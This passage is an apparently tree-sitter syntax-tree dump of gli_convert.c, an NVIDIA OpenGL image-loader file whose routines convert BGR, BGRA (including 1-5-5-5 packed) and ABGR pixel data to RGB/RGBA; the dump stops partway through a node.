GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }\n}\n\nvoid\ngliConvertABGRoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_ABGR_EXT);\n image->format = GL_RGBA;\n\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }\n}\n\nvoid\ngliConvertImageToCoreFormat(gliGenericImage *image)\n{\n switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }\n}\n" (comment) "/* gli_convert.c - OpenGL image (GLI) file loader */" (comment) "/* Copyright NVIDIA Corporation, 2000. */" (comment) "/* Fromat conversion routines for lightweight generic image\n file loader for OpenGL programs. */" (preproc_include) "#include <assert.h>\n" (#include) "#include" (system_lib_string) "<assert.h>" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include "gli.h"\n" (#include) "#include" (string_literal) ""gli.h"" (") """ (string_content) "gli.h" (") """ (function_definition) "void\ngliConvertBGRtoRGB(gliGenericImage *image)\n{\n const int components = 3;\n GLubyte pixel[3];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n \n w = image->width;\n h = image->height;\n \n assert(image->format == GL_BGR_EXT);\n image->format = GL_RGB;\n \n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }\n}" (primitive_type) "void" (function_declarator) "gliConvertBGRtoRGB(gliGenericImage *image)" (identifier) "gliConvertBGRtoRGB" (parameter_list) "(gliGenericImage *image)" (() "(" (parameter_declaration) "gliGenericImage *image" (type_identifier) "gliGenericImage" (pointer_declarator) "*image" (*) "*" (identifier) "image" ()) ")" (compound_statement) "{\n const int components = 3;\n GLubyte pixel[3];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n \n w = image->width;\n h = image->height;\n \n assert(image->format == GL_BGR_EXT);\n image->format = GL_RGB;\n \n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }\n}" ({) "{" (declaration) "const int components = 3;" (type_qualifier) "const" (const) "const" (primitive_type) "int" (init_declarator) "components = 3" (identifier) "components" (=) "=" (number_literal) "3" (;) ";" (declaration) "GLubyte pixel[3];" (type_identifier) "GLubyte" (array_declarator) "pixel[3]" (identifier) "pixel" ([) "[" (number_literal) "3" (]) "]" (;) ";" (declaration) "int w, h;" (primitive_type) "int" (identifier) "w" (,) "," (identifier) "h" (;) ";" (declaration) "GLubyte *pixels;" (type_identifier) "GLubyte" (pointer_declarator) "*pixels" (*) "*" (identifier) "pixels" (;) ";" (declaration) "int i, j, c;" (primitive_type) "int" (identifier) "i" (,) "," (identifier) "j" (,) "," (identifier) "c" (;) ";" (expression_statement) "w = image->width;" (assignment_expression) "w = image->width" (identifier) "w" (=) "=" (field_expression) "image->width" (identifier) "image" (->) "->" (field_identifier) "width" (;) ";" (expression_statement) "h = image->height;" (assignment_expression) "h = image->height" (identifier) "h" (=) "=" (field_expression) "image->height" (identifier) "image" (->) "->" (field_identifier) "height" (;) ";" (expression_statement) "assert(image->format == GL_BGR_EXT);" (call_expression) "assert(image->format == GL_BGR_EXT)" (identifier) "assert" (argument_list) "(image->format == GL_BGR_EXT)" (() "(" (binary_expression) "image->format == GL_BGR_EXT" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (==) "==" (identifier) "GL_BGR_EXT" ()) ")" (;) ";" (expression_statement) "image->format = GL_RGB;" (assignment_expression) "image->format = GL_RGB" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (=) "=" (identifier) "GL_RGB" (;) ";" (expression_statement) "pixels = image->pixels;" (assignment_expression) "pixels = image->pixels" (identifier) "pixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (for_statement) "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j<h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }" ({) "{" (for_statement) "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }" (for) "for" (() "(" (assignment_expression) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i<w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }" ({) "{" (for_statement) "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }" (for) "for" (() "(" (assignment_expression) "c=0" (identifier) "c" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "c<components" (identifier) "c" (<) "<" (identifier) "components" (;) ";" (update_expression) "c++" (identifier) "c" (++) "++" ()) ")" (compound_statement) "{\n pixel[c] = pixels[(j*w+i)*components+c];\n }" ({) "{" (expression_statement) "pixel[c] = pixels[(j*w+i)*components+c];" (assignment_expression) "pixel[c] = pixels[(j*w+i)*components+c]" (subscript_expression) "pixel[c]" (identifier) "pixel" ([) "[" (identifier) "c" (]) "]" (=) "=" (subscript_expression) "pixels[(j*w+i)*components+c]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+c" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (identifier) "c" (]) "]" (;) ";" (}) "}" (expression_statement) "pixels[(j*w+i)*components+0] = pixel[2];" (assignment_expression) "pixels[(j*w+i)*components+0] = pixel[2]" (subscript_expression) "pixels[(j*w+i)*components+0]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+0" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "0" (]) "]" (=) "=" (subscript_expression) "pixel[2]" (identifier) "pixel" ([) "[" (number_literal) "2" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+1] = pixel[1];" (assignment_expression) "pixels[(j*w+i)*components+1] = pixel[1]" (subscript_expression) "pixels[(j*w+i)*components+1]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+1" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "1" (]) "]" (=) "=" (subscript_expression) "pixel[1]" (identifier) "pixel" ([) "[" (number_literal) "1" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+2] = pixel[0];" (assignment_expression) "pixels[(j*w+i)*components+2] = pixel[0]" (subscript_expression) "pixels[(j*w+i)*components+2]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+2" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "2" (]) "]" (=) "=" (subscript_expression) "pixel[0]" (identifier) "pixel" ([) "[" (number_literal) "0" (]) "]" (;) ";" (}) "}" (}) "}" (}) "}" (function_definition) "void\ngliConvertBGRAtoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n GLubyte *spixels, spixel[2];\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_BGRA_EXT);\n \n switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }\n}" (primitive_type) "void" (function_declarator) "gliConvertBGRAtoRGBA(gliGenericImage *image)" (identifier) "gliConvertBGRAtoRGBA" (parameter_list) "(gliGenericImage *image)" (() "(" (parameter_declaration) "gliGenericImage *image" (type_identifier) "gliGenericImage" (pointer_declarator) "*image" (*) "*" (identifier) "image" ()) ")" (compound_statement) "{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n GLubyte *spixels, spixel[2];\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_BGRA_EXT);\n \n switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }\n}" ({) "{" (declaration) "const int components = 4;" (type_qualifier) "const" (const) "const" (primitive_type) "int" (init_declarator) "components = 4" (identifier) "components" (=) "=" (number_literal) "4" (;) ";" (declaration) "GLubyte pixel[4];" (type_identifier) "GLubyte" (array_declarator) "pixel[4]" (identifier) "pixel" ([) "[" (number_literal) "4" (]) "]" (;) ";" (declaration) "int w, h;" (primitive_type) "int" (identifier) "w" (,) "," (identifier) "h" (;) ";" (declaration) "GLubyte *pixels;" (type_identifier) "GLubyte" (pointer_declarator) "*pixels" (*) "*" (identifier) "pixels" (;) ";" (declaration) "GLubyte *spixels, spixel[2];" (type_identifier) "GLubyte" (pointer_declarator) "*spixels" (*) "*" (identifier) "spixels" (,) "," (array_declarator) "spixel[2]" (identifier) "spixel" ([) "[" (number_literal) "2" (]) "]" (;) ";" (declaration) "int i, j, c;" (primitive_type) "int" (identifier) "i" (,) "," (identifier) "j" (,) "," (identifier) "c" (;) ";" (expression_statement) "w = image->width;" (assignment_expression) "w = image->width" (identifier) "w" (=) "=" (field_expression) "image->width" (identifier) "image" (->) "->" (field_identifier) "width" (;) ";" (expression_statement) "h = image->height;" (assignment_expression) "h = image->height" (identifier) "h" (=) "=" (field_expression) "image->height" (identifier) "image" (->) "->" (field_identifier) "height" (;) ";" (expression_statement) "pixels = image->pixels;" (assignment_expression) "pixels = image->pixels" (identifier) "pixels" (=) "=" (field_expression) "image->pixels" (identifier) "image" (->) "->" (field_identifier) "pixels" (;) ";" (expression_statement) "assert(image->format == GL_BGRA_EXT);" (call_expression) "assert(image->format == GL_BGRA_EXT)" (identifier) "assert" (argument_list) "(image->format == GL_BGRA_EXT)" (() "(" (binary_expression) "image->format == GL_BGRA_EXT" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (==) "==" (identifier) "GL_BGRA_EXT" ()) ")" (;) ";" (switch_statement) "switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }" (switch) "switch" (parenthesized_expression) "(image->type)" (() "(" (field_expression) "image->type" (identifier) "image" (->) "->" (field_identifier) "type" ()) ")" (compound_statement) "{\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }" ({) "{" (case_statement) "case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;" (case) "case" (identifier) "GL_UNSIGNED_BYTE" (:) ":" (expression_statement) "image->format = GL_RGBA;" (assignment_expression) "image->format = GL_RGBA" (field_expression) "image->format" (identifier) "image" (->) "->" (field_identifier) "format" (=) "=" (identifier) "GL_RGBA" (;) ";" (for_statement) "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "j<h" (identifier) "j" (<) "<" (identifier) "h" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }" ({) "{" (for_statement) "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }" (for) "for" (() "(" (assignment_expression) "i=0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i<w" (identifier) "i" (<) "<" (identifier) "w" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }" ({) "{" (for_statement) "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }" (for) "for" (() "(" (assignment_expression) "c=0" (identifier) "c" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "c<components" (identifier) "c" (<) "<" (identifier) "components" (;) ";" (update_expression) "c++" (identifier) "c" (++) "++" ()) ")" (compound_statement) "{\n pixel[c] = pixels[(j*w+i)*components+c];\n }" ({) "{" (expression_statement) "pixel[c] = pixels[(j*w+i)*components+c];" (assignment_expression) "pixel[c] = pixels[(j*w+i)*components+c]" (subscript_expression) "pixel[c]" (identifier) "pixel" ([) "[" (identifier) "c" (]) "]" (=) "=" (subscript_expression) "pixels[(j*w+i)*components+c]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+c" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (identifier) "c" (]) "]" (;) ";" (}) "}" (expression_statement) "pixels[(j*w+i)*components+0] = pixel[2];" (assignment_expression) "pixels[(j*w+i)*components+0] = pixel[2]" (subscript_expression) "pixels[(j*w+i)*components+0]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+0" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "0" (]) "]" (=) "=" (subscript_expression) "pixel[2]" (identifier) "pixel" ([) "[" (number_literal) "2" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+1] = pixel[1];" (assignment_expression) "pixels[(j*w+i)*components+1] = pixel[1]" (subscript_expression) "pixels[(j*w+i)*components+1]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+1" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) "j*w" (identifier) "j" (*) "*" (identifier) "w" (+) "+" (identifier) "i" ()) ")" (*) "*" (identifier) "components" (+) "+" (number_literal) "1" (]) "]" (=) "=" (subscript_expression) "pixel[1]" (identifier) "pixel" ([) "[" (number_literal) "1" (]) "]" (;) ";" (expression_statement) "pixels[(j*w+i)*components+2] = pixel[0];" (assignment_expression) "pixels[(j*w+i)*components+2] = pixel[0]" (subscript_expression) "pixels[(j*w+i)*components+2]" (identifier) "pixels" ([) "[" (binary_expression) "(j*w+i)*components+2" (binary_expression) "(j*w+i)*components" (parenthesized_expression) "(j*w+i)" (() "(" (binary_expression) "j*w+i" (binary_expression) 